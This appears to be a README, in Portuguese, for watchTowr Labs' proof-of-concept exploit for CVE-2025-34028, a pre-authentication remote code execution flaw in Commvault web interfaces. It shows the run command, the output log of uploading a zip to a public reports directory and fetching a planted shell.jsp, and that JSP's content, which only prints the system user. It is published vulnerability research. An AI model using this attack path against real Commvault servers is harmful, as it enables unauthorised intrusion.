watchtowrlabs/watchtowr-vs-commvault-preauth-rce-cve-2025-34028Prova de conceito de exploit para CVE-2025-34028, demonstrando execução remota de código pré-autenticada em interfaces web do Commvault por meio de upload malicioso de JSP.
Uma Prova de Conceito de Execução Remota de Código Pré-Autenticada da Commvault
Consulte a nossa publicação no blog para obter detalhes técnicos
python watchtowr-vs-commvault-rce-CVE-2025-34028.py --url https://192.168.1.1
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchtowr-vs-commvault-rce-CVE-2025-34028.py
(*) Commvault Unauthenticated Remote Code Execution (CVE-2025-34028) POC by watchTowr
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2025-34028]
[*] Targeting https://192.168.1.1
[*] Verifying presence of Commvault
[*] Uploading to /reports/MetricsUpload/2GfMIJdK/
[*] Fetching System User from https://192.168.1.1/reports/MetricsUpload/2GfMIJdK/.tmp/dist-cc/dist-cc/shell.jsp
[*] System User EC2XXX-XXXXXXX$
Este script é uma prova de conceito para a CVE-2025-34028, para as Interfaces Web da Commvault. Ao enviar um arquivo zip contendo um arquivo .jsp de execução de código, o arquivo zip é enviado para um diretório público e o usuário do sistema é detalhado na resposta. Mais detalhes são descritos na nossa [publicação no blog] (https://labs.watchtowr.com/).
O script de PoC usa um arquivo zip fixo contendo os seguintes arquivos:
Conteúdo do Shell.jsp:
<%@ page import="java.util.*" %>
<html>
<body>
<h3>System Information</h3>
<p>Current User: <%= System.getProperty("user.name") %></p>
</body>
</html>
Mais detalhes no Aviso da Commvault
Para as pesquisas de segurança mais recentes, siga a equipe do watchTowr Labs